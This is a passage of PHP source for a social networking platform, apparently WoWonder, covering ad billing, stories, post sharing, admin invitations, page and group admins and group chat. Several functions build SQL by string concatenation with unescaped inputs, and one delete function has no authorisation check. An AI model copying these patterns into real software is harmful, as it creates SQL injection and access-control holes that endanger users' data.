isset($ad['user_data']) && !Wo_IsConversionExists($id) && $is_admin == false) { $price = $wo['config']['ad_c_price']; if ($ad['appears'] == 'entire') { $price = $wo['config']['ad_c_price'] * 1.5; } $ad_user_id = $ad['user_data']['user_id']; $wallet = $ad['user_data']['wallet'] -= $price; $result = mysqli_query($sqlConnect, "UPDATE " . T_USERS . " SET `wallet` = '$wallet' WHERE `user_id` = '$ad_user_id'"); Wo_RegisterAdClick($id); } else if ($ad && is_array($ad) && !empty($ad) && isset($ad['user_data']) && $is_admin == false) { $result = Wo_RegisterAdClick($id); } else { return true; } return $result; } function Wo_RegisterAdConversionView($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id) { return false; } $ad = Wo_GetUserAdData($id); $user = $wo['user']['user_id']; $result = false; $is_admin = Wo_IsAdsOwnerNotAdmin($id); if ($ad && is_array($ad) && !empty($ad) && isset($ad['user_data']) && !Wo_IsConversionExists($id) && $is_admin == false) { $ad_user_id = $ad['user_data']['user_id']; $price = $wo['config']['ad_v_price']; if ($ad['appears'] == 'entire') { $price = $wo['config']['ad_v_price'] * 1.5; } $wallet = $ad['user_data']['wallet'] -= $price; $result = mysqli_query($sqlConnect, "UPDATE " . T_USERS . " SET `wallet` = '$wallet' WHERE `user_id` = '$ad_user_id'"); Wo_RegisterAdView($id); } else if ($ad && is_array($ad) && !empty($ad) && isset($ad['user_data']) && $is_admin == false) { $result = Wo_RegisterAdView($id); } else { return true; } return $result; } function Wo_RegisterAdClick($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id) { return false; } $ad = Wo_GetUserAdData($id); $result = false; if ($ad && is_array($ad) && !empty($ad)) { $ad_user_id = $ad['user_data']['user_id']; //record click $price = $wo['config']['ad_c_price']; if ($ad['appears'] == 'entire') { $price = $wo['config']['ad_c_price'] * 1.5; } $result1 = mysqli_query($sqlConnect, "INSERT INTO " . T_USERADS_DATA . " (`id`, `user_id`, `ad_id`, `clicks`, `views`, `spend`, `dt`) VALUES (NULL, '" . $ad_user_id . "', '" . $id . "', '1', '0', '" . $price . "', CURRENT_TIMESTAMP);"); $result = Wo_UpdateUserAds($id, array( 'clicks' => ($ad['clicks'] + 1) )); } return $result; } function Wo_RegisterAdView($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id) { return false; } $ad = Wo_GetUserAdData($id); $result = false; if ($ad && is_array($ad) && !empty($ad)) { $ad_user_id = $ad['user_data']['user_id']; $price = $wo['config']['ad_v_price']; if ($ad['appears'] == 'entire') { $price = $wo['config']['ad_v_price'] * 1.5; } //record view $result1 = mysqli_query($sqlConnect, "INSERT INTO " . T_USERADS_DATA . " (`id`, `user_id`, `ad_id`, `clicks`, `views`, `spend`, `dt`) VALUES (NULL, '" . $ad_user_id . "', '" . $id . "', '0', '1', '" . $price . "', CURRENT_TIMESTAMP);"); $result = Wo_UpdateUserAds($id, array( 'views' => ($ad['views'] + 1) )); } return $result; } function Wo_IsStoryOwner($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id) { return false; } $sql = "SELECT `user_id` FROM " . T_USER_STORY . " WHERE `id` = '$id'"; $result = false; $user = $wo['user']['id']; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); if ($fetched_data['user_id'] == $user || Wo_IsAdmin() || Wo_IsModerator()) { $result = true; } } return $result; } function Wo_InsertUserStory($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $sql = "INSERT INTO " . T_USER_STORY . " ({$fields}) VALUES ({$data})"; $query = mysqli_query($sqlConnect, $sql); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_InsertUserStoryMedia($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $sql = "INSERT INTO " . T_USER_STORY_MEDIA . " ({$fields}) VALUES ({$data})"; $query = mysqli_query($sqlConnect, $sql); return $query; } function Wo_GetStroies($args = array()) { global $sqlConnect, $wo, $db; if ($wo['loggedin'] == false) { return false; } $options = array( "user" => $wo['user']['id'], "id" => false, "offset" => 0 ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $id = Wo_Secure($args['id']); $user_id = Wo_Secure($args['user']); $query_one = ''; $data = array(); if ($user_id && $user_id > 0 && empty($id)) { $query_one .= " AND `user_id` = '$user_id'"; } if ($id && $id > 0) { $query_one .= " AND `id` = '$id'"; } if ($offset && $offset > 0) { $query_one .= " AND `id` < '$offset' AND `id` <> '$offset'"; } $sql = "SELECT * FROM " . T_USER_STORY . " WHERE `id` > 0 {$query_one} ORDER BY `id` DESC"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $story_images = Wo_GetStoryMedia($fetched_data['id'], 'image'); if (count($story_images) > 0) { $fetched_data['thumb'] = array_shift($story_images); $fetched_data['images'] = $story_images; } $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['videos'] = Wo_GetStoryMedia($fetched_data['id'], 'video'); $fetched_data['is_owner'] = ($fetched_data['user_id'] == $wo['user']['id'] || Wo_IsAdmin() || Wo_IsModerator()) ? true : false; $fetched_data['reaction'] = Wo_GetPostReactionsTypes($fetched_data['id'], 'story'); $fetched_data['is_viewed'] = $db->where('story_id',$fetched_data['id'])->where('user_id',$wo['user']['id'])->getValue(T_STORY_SEEN,'COUNT(*)'); $data[] = $fetched_data; } } return $data; } function Wo_GetStoryMedia($id = false, $type = 'image') { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $sql = "SELECT * FROM " . T_USER_STORY_MEDIA . " WHERE `story_id` = '$id' AND `type` = '$type'"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['filename'] = Wo_GetMedia($fetched_data['filename']); $data[] = $fetched_data; } } return $data; } function Wo_CountUserStatus($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user = $id; if (!$id || !is_numeric($id) || $id < 1) { $user = $wo['user']['id']; } $sql = "SELECT COUNT(`id`) AS count FROM " . T_USER_STORY . " WHERE `user_id` = {$user} "; $count = 0; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $count = $fetched_data['count']; } return $count; } function Wo_DeleteStatus($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !Wo_IsStoryOwner($id)) { return false; } $id = Wo_Secure($id); $data = array(); $sql = "SELECT `filename` FROM " . T_USER_STORY_MEDIA . " WHERE `story_id` = '$id'"; $storyMedia = mysqli_query($sqlConnect, $sql); while ($fetched_data = mysqli_fetch_assoc($storyMedia)) { $data[] = $fetched_data['filename']; } if (count($data) > 0) { foreach ($data as $key => $path) { $explode2 = @end(explode('.', $path)); $explode3 = @explode('.', $path); $media_2 = $explode3[0] . '_small.' . $explode2; if (file_exists($path)) { @unlink($path); @unlink(trim($media_2)); } else if ($wo['config']['amazone_s3'] == 1 || $wo['config']['wasabi_storage'] == 1 || $wo['config']['ftp_upload'] == 1) { @Wo_DeleteFromToS3($path); @Wo_DeleteFromToS3($media_2); } } } @mysqli_query($sqlConnect, "DELETE FROM " . T_STORY_SEEN . " WHERE `story_id` = '$id'"); @mysqli_query($sqlConnect, "DELETE FROM " . T_USER_STORY_MEDIA . " WHERE `story_id` = '$id'"); $query = mysqli_query($sqlConnect, "DELETE FROM " . T_USER_STORY . " WHERE `id` = '$id'"); return $query; } function Wo_UpdateCommentReply($id, $update_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || empty($update_data) || !$id || !is_numeric($id) || $id < 1) { return false; } if (!empty($update_data['text'])) { $link_regex = '/(http\:\/\/|https\:\/\/|www\.)([^\ ]+)/i'; $i = 0; preg_match_all($link_regex, $update_data['text'], $matches); foreach ($matches[0] as $match) { $match_url = strip_tags($match); $syntax = '[a]' . urlencode($match_url) . '[/a]'; $update_data['text'] = str_replace($match, $syntax, $update_data['text']); } $mention_regex = '/@([A-Za-z0-9_]+)/i'; preg_match_all($mention_regex, $update_data['text'], $matches); foreach ($matches[1] as $match) { $match = Wo_Secure($match); $match_user = Wo_UserData(Wo_UserIdFromUsername($match)); $match_search = '@' . $match; $match_replace = '@[' . $match_user['user_id'] . ']'; if (isset($match_user['user_id'])) { $update_data['text'] = str_replace($match_search, $match_replace, $update_data['text']); $mentions[] = $match_user['user_id']; } } } $hashtag_regex = '/#([^`~!@$%^&*\#()\-+=\\|\/\.,<>?\'\":;{}\[\]* ]+)/i'; preg_match_all($hashtag_regex, $update_data['text'], $matches); foreach ($matches[1] as $match) { if (!is_numeric($match)) { $hashdata = Wo_GetHashtag($match); if (is_array($hashdata)) { $match_search = '#' . $match; $match_replace = '#[' . $hashdata['id'] . ']'; $update_data['text'] = str_replace($match_search, $match_replace, $update_data['text']); $hashtag_query = "UPDATE " . T_HASHTAGS . " SET `last_trend_time` = " . time() . ", `trend_use_num` = " . ($hashdata['trend_use_num'] + 1) . " WHERE `id` = " . $hashdata['id']; $hashtag_sql_query = mysqli_query($sqlConnect, $hashtag_query); } } } foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . $data . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_COMMENTS_REPLIES . " SET {$impload} WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_GetUsersByName($name = '', $friends = false, $limit = 25) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$name) { return false; } $user = $wo['user']['id']; $name = Wo_Secure($name); $data = array(); $sub_sql = ""; $t_users = T_USERS; $t_followers = T_FOLLOWERS; if ($friends == true) { $sub_sql = " AND ( `user_id` IN (SELECT `follower_id` FROM $t_followers WHERE `follower_id` <> {$user} AND `active` = '1') OR `user_id` IN (SELECT `following_id` FROM $t_followers WHERE `following_id` <> {$user} AND `active` = '1'))"; } $limit_text = ''; if (!empty($limit) && is_numeric($limit)) { $limit = Wo_Secure($limit); $limit_text = 'LIMIT ' . $limit; } $sql = "SELECT `user_id` FROM " . T_USERS . " WHERE `user_id` <> {$user} AND `username` LIKE '%$name%' {$sub_sql} $limit_text"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = Wo_UserData($fetched_data['user_id']); } } return $data; } function Wo_GetUserIds() { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !Wo_IsAdmin()) { return false; } $data = array(); $admin = $wo['user']['id']; $query = mysqli_query($sqlConnect, "SELECT `user_id` FROM " . T_USERS . " WHERE active = '1' AND `user_id` <> {$admin}"); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = $fetched_data['user_id']; } } return $data; } function Wo_RegisterAdminNotification($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !Wo_IsAdmin() || empty($registration_data) || empty($registration_data['text'])) { return false; } if (empty($registration_data['full_link']) || empty($registration_data['recipients'])) { return false; } if (!is_array($registration_data['recipients']) || count($registration_data['recipients']) < 1) { return false; } $text = $registration_data['text']; $link = $registration_data['full_link']; $admin = $wo['user']['id']; $time = time(); $sql = "INSERT INTO " . T_NOTIFICATION . " (`notifier_id`,`recipient_id`,`type`,`text`,`full_link`,`time`) VALUES "; $val = array(); foreach ($registration_data['recipients'] as $user_id) { if ($admin != $user_id) { $val[] = "('$admin','$user_id','admin_notification','$text','$link','$time')"; } } $query = mysqli_query($sqlConnect, ($sql . implode(',', $val))); return $query; } function Wo_HidePost($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || $id < 1) { return false; } $post_id = mysqli_query($sqlConnect, "SELECT `user_id` FROM " . T_POSTS . " WHERE `id` = {$id}"); $user = $wo['user']['id']; $result = false; if ($post_id && mysqli_num_rows($post_id) > 0) { $post_data = mysqli_fetch_assoc($post_id); if ($post_data['user_id'] == $user) { return false; } else { $sql = "INSERT INTO " . T_HIDDEN_POSTS . " (`post_id`, `user_id`) VALUES ('$id','$user')"; $result = mysqli_query($sqlConnect, $sql); } } return $result; } function Wo_SendVerificationRequest($registration_data = array()) { global $sqlConnect, $wo, $db; if ($wo['loggedin'] == false || !is_array($registration_data) || empty($registration_data) || Wo_IsAdmin()) { return false; } $notification_data_array = array( 'recipient_id' => 0, 'type' => 'verify', 'time' => time(), 'admin' => 1 ); $db->insert(T_NOTIFICATION, $notification_data_array); $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $sql = "INSERT INTO " . T_VERIFICATION_REQUESTS . " ({$fields}) VALUES ({$data})"; $query = mysqli_query($sqlConnect, $sql); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_UpdateVerificationRequest($id = false, $update_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_array($update_data) || empty($update_data) || !$id) { return false; } $id = Wo_Secure($id); foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . $data . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_VERIFICATION_REQUESTS . " SET {$impload} WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_IsVerificationRequestExists() { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user = Wo_Secure($wo['user']['id']); $sql = "SELECT `user_id` FROM " . T_VERIFICATION_REQUESTS . " WHERE `user_id` = {$user}"; $query = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($query) > 0; } function Wo_IsThisPostShared($id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $user = Wo_Secure($wo['user']['id']); $id = Wo_Secure($id); $sql = "SELECT `id` FROM " . T_POSTS . " WHERE parent_id = $id"; $query = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($query) > 0; } function Wo_IsPostShared($id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $user = Wo_Secure($wo['user']['id']); $id = Wo_Secure($id); $sql = "SELECT `id` FROM " . T_POSTS . " WHERE `id` = {$id} AND parent_id <> 0"; $query = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($query) > 0; } function Wo_IsSharedPostExists($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $user = Wo_Secure($wo['user']['id']); $id = Wo_Secure($id); $sql = "SELECT `id` FROM " . T_POSTS . " WHERE `user_id` = {$user} AND `parent_id` = {$id}"; $query = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($query) > 0; } function Wo_SharePost($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $time = time(); $sql = ''; if (Wo_IsPostShared($id)) { $shared_post = Wo_PostData($id); $post = mysqli_query($sqlConnect, "SELECT * FROM " . T_POSTS . " WHERE `id` = {$shared_post['parent_id']}"); $post_data = mysqli_fetch_assoc($post); } else { $post = mysqli_query($sqlConnect, "SELECT * FROM " . T_POSTS . " WHERE `id` = {$id}"); $post_data = mysqli_fetch_assoc($post); } if ($post) { $post_data['id'] = 0; $post_data['post_id'] = 0; $post_data['shared_from'] = $post_data['user_id']; $post_data['post_url'] = Wo_SeoLink('index.php?link1=post&id=' . $id); $post_data['user_id'] = $user; $post_data['parent_id'] = $id; $post_data['boosted'] = 0; $post_data['time'] = time(); $fields = '`' . implode('`, `', array_keys($post_data)) . '`'; $data = '\'' . implode('\', \'', $post_data) . '\''; $sql = "INSERT INTO " . T_POSTS . " ({$fields}) VALUES ({$data})"; $query1 = mysqli_query($sqlConnect, $sql); $last = mysqli_insert_id($sqlConnect); $query2 = mysqli_query($sqlConnect, "UPDATE " . T_POSTS . " SET `post_id` = {$last} WHERE `id` = {$last}"); if ($query1 && $query2) { return true; } } return false; } function Wo_GenirateSiteMap($updating = 'daily') { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !Wo_IsAdmin()) { return false; } include('assets/libraries/sitemap-php/Sitemap.php'); $site = $wo['config']['site_url']; $sitemap = new Sitemap($site . '/'); $sitemap->setPath('./'); if (!in_array($updating, array( 'daily', 'always', 'hourly', 'weekly', 'monthly', 'yearly', 'never' ))) { $updating = 'daily'; } $sitemap->setFilename('sitemap'); $profiles = mysqli_query($sqlConnect, "SELECT `username` FROM " . T_USERS . " WHERE `active` = '1'"); while ($fetched_data = mysqli_fetch_assoc($profiles)) { $sitemap->addItem($fetched_data['username'], '1.0', $updating, 'Today'); } if ($wo['config']['groups'] == 1) { $groups = mysqli_query($sqlConnect, "SELECT `group_name` FROM " . T_GROUPS . " WHERE `active` = '1'"); while ($fetched_data = mysqli_fetch_assoc($groups)) { $sitemap->addItem($fetched_data['group_name'], '0.9', $updating, 'Today'); } } if ($wo['config']['pages'] == 1) { $pages = mysqli_query($sqlConnect, "SELECT `page_name` FROM " . T_PAGES . " WHERE `active` = '1'"); while ($fetched_data = mysqli_fetch_assoc($pages)) { $sitemap->addItem($fetched_data['page_name'], '0.9', $updating, 'Today'); } } $posts = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_POSTS . " WHERE `postPrivacy` = '0'"); while ($fetched_data = mysqli_fetch_assoc($posts)) { $sitemap->addItem('post/' . $fetched_data['id'], '0.8', $updating, 'Today'); } if ($wo['config']['blogs'] == 1) { $blogs = mysqli_query($sqlConnect, "SELECT `id`,`title` FROM " . T_BLOG); while ($fetched_data = mysqli_fetch_assoc($blogs)) { $url = 'read-blog/' . $fetched_data['id'] . '_' . Wo_SlugPost($fetched_data['title']); $sitemap->addItem($url, '0.7', $updating, 'Today'); } $sitemap->addItem('blog', '0.6', $updating, 'Today'); } if ($wo['config']['developers_page'] == 1) { $sitemap->addItem('developers', '0.1', 'yearly'); } if ($wo['config']['forum'] == 1) { $sitemap->addItem('forum', '0.5', $updating, 'Today'); } if ($wo['config']['movies'] == 1) { $sitemap->addItem('movies', '0.5', $updating, 'Today'); } $sitemap->addItem('terms/about-us', '0.1', 'never'); $sitemap->addItem('contact-us', '0.1', 'never'); $sitemap->addItem('terms/privacy-policy', '0.1', 'yearly'); $sitemap->addItem('terms/terms', '0.1', 'yearly'); $sitemap->createSitemapIndex($site . '/xml/', 'Today'); return true; } function Wo_GetAdminInvitation() { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !Wo_IsAdmin()) { return false; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_INVITATIONS . " ORDER BY `id` DESC "); $data = array(); $site = $wo['config']['site_url'] . '/register?invite='; if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['url'] = $site . $fetched_data['code']; $data[] = $fetched_data; } } return $data; } function Wo_InsertAdminInvitation() { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !Wo_IsAdmin()) { return false; } $time = time(); $code = uniqid(rand(), true); $sql = "INSERT INTO " . T_INVITATIONS . " (`id`,`code`,`posted`) VALUES (NULL,'$code', '$time')"; $site = $wo['config']['site_url'] . '/register?invite='; $query = mysqli_query($sqlConnect, $sql); if ($query) { $last_id = mysqli_insert_id($sqlConnect); $data = mysqli_query($sqlConnect, "SELECT * FROM " . T_INVITATIONS . " WHERE `id` = {$last_id}"); if ($data && mysqli_num_rows($data) > 0) { $fetched_data = mysqli_fetch_assoc($data); $fetched_data['url'] = $site . $fetched_data['code']; return $fetched_data; } } return false; } function Wo_DeleteAdminInvitation($col = '', $val = false) { global $sqlConnect, $wo; if (!$val && !$col) { return false; } $val = Wo_Secure($val); $col = Wo_Secure($col); return mysqli_query($sqlConnect, "DELETE FROM " . T_INVITATIONS . " WHERE `$col` = '$val'"); } function Wo_IsAdminInvitationExists($code = false) { global $sqlConnect, $wo; if (!$code) { return false; } $code = Wo_Secure($code); $data_rows = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_INVITATIONS . " WHERE `code` = '$code'"); return mysqli_num_rows($data_rows) > 0; } function Wo_FriendPrivacy($user_id = false, $friend_privacy = false) { global $sqlConnect, $wo; if (!$user_id) { return false; } if ($wo['loggedin'] == true) { if ($user_id == $wo['user']['user_id']) { return true; } $loggedin_user = $wo['user']['id']; $user_id = Wo_Secure($user_id); $friend_privacy = Wo_Secure($friend_privacy); $privacy = false; if ($friend_privacy == 0) { return true; } elseif ($friend_privacy == 1) { $sql = "SELECT `id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id} AND `following_id` = {$loggedin_user} AND `active` = '1'"; $data_rows = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($data_rows) > 0; } elseif ($friend_privacy == 2) { $sql = "SELECT `id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$loggedin_user} AND `following_id` = {$user_id} AND `active` = '1'"; $data_rows = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($data_rows) > 0; } } else { if ($friend_privacy == 0) { return true; } } return false; } function Wo_IsGroupUserExists($user_id = false, $group_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($user_id) || !is_numeric($group_id)) { return false; } $sql = " SELECT `id` FROM " . T_GROUP_ADMINS . " WHERE `user_id` = {$user_id} AND `group_id` = {$group_id} "; $data_rows = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($data_rows) > 0; } function Wo_IsPageAdminExists($user_id = false, $page_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($user_id) || !is_numeric($page_id)) { return false; } $sql = " SELECT `id` FROM " . T_PAGE_ADMINS . " WHERE `user_id` = {$user_id} AND `page_id` = {$page_id} "; $data_rows = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($data_rows) > 0; } function Wo_AddGroupAdmin($user_id = false, $group_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($user_id) || !is_numeric($group_id)) { return false; } $user_id = Wo_Secure($user_id); $group_id = Wo_Secure($group_id); $code = false; $group = Wo_GroupData($group_id); if ($wo['user']['id'] != $group['user_id'] && !Wo_IsGroupUserExists($wo['user']['id'], $group_id)) { return false; } if (Wo_IsGroupUserExists($user_id, $group_id)) { @mysqli_query($sqlConnect, "DELETE FROM " . T_GROUP_ADMINS . " WHERE `user_id` = {$user_id} AND `group_id` = {$group_id}"); $code = 0; } else { @mysqli_query($sqlConnect, "INSERT INTO " . T_GROUP_ADMINS . " (`id`,`user_id`,`group_id`) VALUES (null,$user_id,$group_id)"); $group = Wo_GroupData($group_id); $notification_data_array = array( 'recipient_id' => $user_id, 'type' => 'group_admin', 'user_id' => $wo['user']['id'], 'url' => 'index.php?link1=timeline&u=' . $group['group_name'] ); Wo_RegisterNotification($notification_data_array); $code = 1; } return $code; } function Wo_CheckGroupAdminPassword($password = false, $group_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($password) || !is_numeric($group_id)) { return false; } $user_id = Wo_Secure($wo['user']['user_id']); $group_id = Wo_Secure($group_id); $match = false; if (Wo_IsGroupUserExists($user_id, $group_id)) { $sql = "SELECT `password` FROM " . T_USERS . " WHERE `user_id` = {$user_id}"; $data = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($data) == 1) { $fetched_data = mysqli_fetch_assoc($data); if (Wo_HashPassword($password, $fetched_data['password'])) { $match = true; } } } return $match; } function Wo_CheckPageAdminPassword($password = false, $page_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($page_id)) { return false; } $user_id = Wo_Secure($wo['user']['user_id']); $page_id = Wo_Secure($page_id); $match = false; if (Wo_IsPageAdminExists($user_id, $page_id)) { $sql = "SELECT `password` FROM " . T_USERS . " WHERE `user_id` = {$user_id}"; $data = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($data) == 1) { $fetched_data = mysqli_fetch_assoc($data); if (Wo_HashPassword($password, $fetched_data['password'])) { $match = true; } } } return $match; } function Wo_AddPageAdmin($user_id = false, $page_id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($user_id) || !is_numeric($page_id)) { return false; } $user_id = Wo_Secure($user_id); $page_id = Wo_Secure($page_id); $code = false; $page = Wo_PageData($page_id); if ($wo['user']['id'] != $page['user_id'] && !Wo_IsPageAdminExists($wo['user']['id'], $page_id) && !Wo_IsAdmin() && !Wo_IsModerator()) { return false; } if (Wo_IsPageAdminExists($user_id, $page_id)) { @mysqli_query($sqlConnect, "DELETE FROM " . T_PAGE_ADMINS . " WHERE `user_id` = {$user_id} AND `page_id` = {$page_id}"); $code = 0; } else { @mysqli_query($sqlConnect, "INSERT INTO " . T_PAGE_ADMINS . " (`id`,`user_id`,`page_id`) VALUES (null,$user_id,$page_id)"); $code = 1; $page = Wo_PageData($page_id); $notification_data_array = array( 'recipient_id' => $user_id, 'type' => 'page_admin', 'user_id' => $wo['user']['id'], 'url' => 'index.php?link1=timeline&u=' . $page['page_name'] ); Wo_RegisterNotification($notification_data_array); } return $code; } function Wo_GetPageAdmins($page_id = false, $return = 'all') { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($page_id)) { return false; } $page_id = Wo_Secure($page_id); $sql = " SELECT `user_id` FROM " . T_PAGE_ADMINS . " WHERE `page_id` = {$page_id}"; $data = array(); $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { if ($return == 'all') { $user = Wo_UserData($fetched_data['user_id']); } else { $user['user_id'] = $fetched_data['user_id']; } $user['page_id'] = $page_id; $user['is_page_onwer'] = true; $data[] = $user; } } return $data; } function Wo_GetPageAdminInfo($user_id, $page_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || empty($page_id) || !is_numeric($page_id) || empty($user_id) || !is_numeric($user_id)) { return false; } $page_id = Wo_Secure($page_id); $user_id = Wo_Secure($user_id); $sql = " SELECT * FROM " . T_PAGE_ADMINS . " WHERE `page_id` = {$page_id} AND `user_id` = {$user_id}"; $data = array(); $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { return mysqli_fetch_assoc($query); } return false; } function Wo_CreateGChat($name = false, $parts = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_array($parts) || !$name || count($parts) < 1) { return false; } $user = Wo_Secure($wo['user']['id']); $time = time(); $id = false; $sql = "INSERT INTO " . T_GROUP_CHAT . " (`group_id`,`user_id`,`group_name`,`time`) VALUES (null,'$user','$name','$time')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $id = mysqli_insert_id($sqlConnect); if ($id && is_numeric($id)) { foreach ($parts as $part_id) { if ($part_id != $user) { $sub_sql = "INSERT INTO " . T_GROUP_CHAT_USERS . " (`id`,`user_id`,`group_id`,`active`,`last_seen`) VALUES (null,'$part_id','$id','0','0')"; } else { $sub_sql = "INSERT INTO " . T_GROUP_CHAT_USERS . " (`id`,`user_id`,`group_id`) VALUES (null,'$part_id','$id')"; } @mysqli_query($sqlConnect, $sub_sql); } } } return $id; } function Wo_UpdateGChat($id = false, $update_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_array($update_data) || empty($update_data) || !$id) { return false; } $id = Wo_Secure($id); if (!Wo_IsGChatOwner($id)) { return false; } foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . $data . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_GROUP_CHAT . " SET {$impload} WHERE `group_id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_GroupTabData($id = false, $update_seen = true) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id)) { return false; } $data = null; $time = time(); $user = $wo['user']['id']; $sql = "SELECT * FROM " . T_GROUP_CHAT . " WHERE `group_id` = {$id} "; $query = mysqli_query($sqlConnect, $sql); if ($update_seen == true) { @Wo_UpdateGChatLastSeen($id); } if ($query && mysqli_num_rows($query) > 0) { $data = mysqli_fetch_assoc($query); $data['avatar'] = Wo_GetMedia($data['avatar']); $data['messages'] = Wo_GetGroupMessages(array( 'group_id' => $data['group_id'] )); } return $data; } function Wo_UpdateGChatLastSeen($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id)) { return false; } $time = time(); $user = $wo['user']['id']; $id = Wo_Secure($id); return mysqli_query($sqlConnect, "UPDATE " . T_GROUP_CHAT_USERS . " SET `last_seen` = '$time' WHERE `user_id` = {$user} AND `group_id` = {$id} "); } function Wo_IsGChatOwner($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id)) { return false; } $group = Wo_GroupTabData($id); $owner = false; if (is_array($group) && isset($group['user_id'])) { $group_admin = $group['user_id']; $user_id = $wo['user']['id']; $owner = ($group_admin == $user_id || Wo_IsAdmin()) ? true : false; } return $owner; } function Wo_GetChatGroupLastMessage($id = false) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id)) { return false; } $sql = "SELECT * FROM " . T_MESSAGES . " WHERE `group_id` = {$id} ORDER BY `id` DESC LIMIT 1"; $data = array(); $query = mysqli_query($sqlConnect, $sql); if ($query && mysqli_num_rows($query) > 0) { $fetched_data = mysqli_fetch_assoc($query); $fetched_data['user_data'] = Wo_UserData($fetched_data['from_id']); $fetched_data['reaction'] = 